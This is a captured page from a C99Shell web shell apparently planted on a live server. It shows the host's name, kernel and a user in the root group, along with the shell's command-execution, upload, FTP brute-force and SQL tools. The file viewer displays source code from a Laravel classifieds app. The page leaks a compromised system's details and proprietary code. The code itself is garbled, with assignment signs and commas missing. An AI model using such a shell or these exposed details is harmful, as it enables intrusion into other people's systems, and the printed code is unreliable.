!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Services/Frontend/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HomePageService.php (2.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Services\Frontend;

use 
App\Models\Country;
use 
App\Models\HomePageSlider;
use 
Modules\Ad\Entities\Ad;
use 
Modules\Category\Entities\Category;
use 
Modules\Category\Transformers\CategoryResource;

class 
HomePageService
{
    public function 
execute()
    {
        
$selected_country session()->get('selected_country');

        
// $ads = Ad::with('category')
        //     ->when($selected_country, function ($q) use ($selected_country) {
        //         return $q->where('country', $selected_country);
        //     })
        //     ->active()
        //     ->activeCategory()
        //     ->latest()
        //     ->get();

        
$featured_ads Ad::with(['category''adFeatures''galleries''customer'])
            ->
when($selected_country, function ($q) use ($selected_country) {
                return 
$q->where('country'$selected_country);
            })
            ->
active()
            ->
activeCategory()
            ->
latest()
            ->
where('featured'1)
            ->
take(12)
            ->
get();

        
$latest_ads Ad::with(['category''adFeatures''galleries''customer'])
            ->
when($selected_country, function ($q) use ($selected_country) {
                return 
$q->where('country'$selected_country);
            })
            ->
active()
            ->
activeCategory()
            ->
latest()
            ->
take(12)
            ->
get();

        
$sliders HomePageSlider::oldest('order')->get();

        
$topCategories CategoryResource::collection(
            
Category::active()
                ->
with('subcategories', function ($q) {
                    
$q->where('status'1);
                })
                ->
withCount([
                    
'ads as ad_count' => function ($query) {
                        if (
session()->get('selected_country')) {
                            
$query->where('country'session()->get('selected_country'))->active();
                        } else {
                            
$query->active();
                        }
                    },
                ])
                ->
latest('ad_count')
                ->
take(12)
                ->
get(),
        );

        
$topCountries $topCountries Ad::select(
            
'ads.country',
            
\DB::raw('COUNT(*) as count'),
            
'search_countries.icon',
            
'search_countries.slug'
        
)
            ->
leftJoin('search_countries''ads.country''=''search_countries.name')
            ->
groupBy('ads.country''search_countries.icon''search_countries.slug')
            ->
orderByDesc('count')
            ->
limit(12)
            ->
get();

        return [
            
'featured_ads' => $featured_ads,
            
'latest_ads' => $latest_ads,
            
'sliders' => $sliders,
            
'topCategories' => $topCategories,
            
'topCountries' => $topCountries,
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--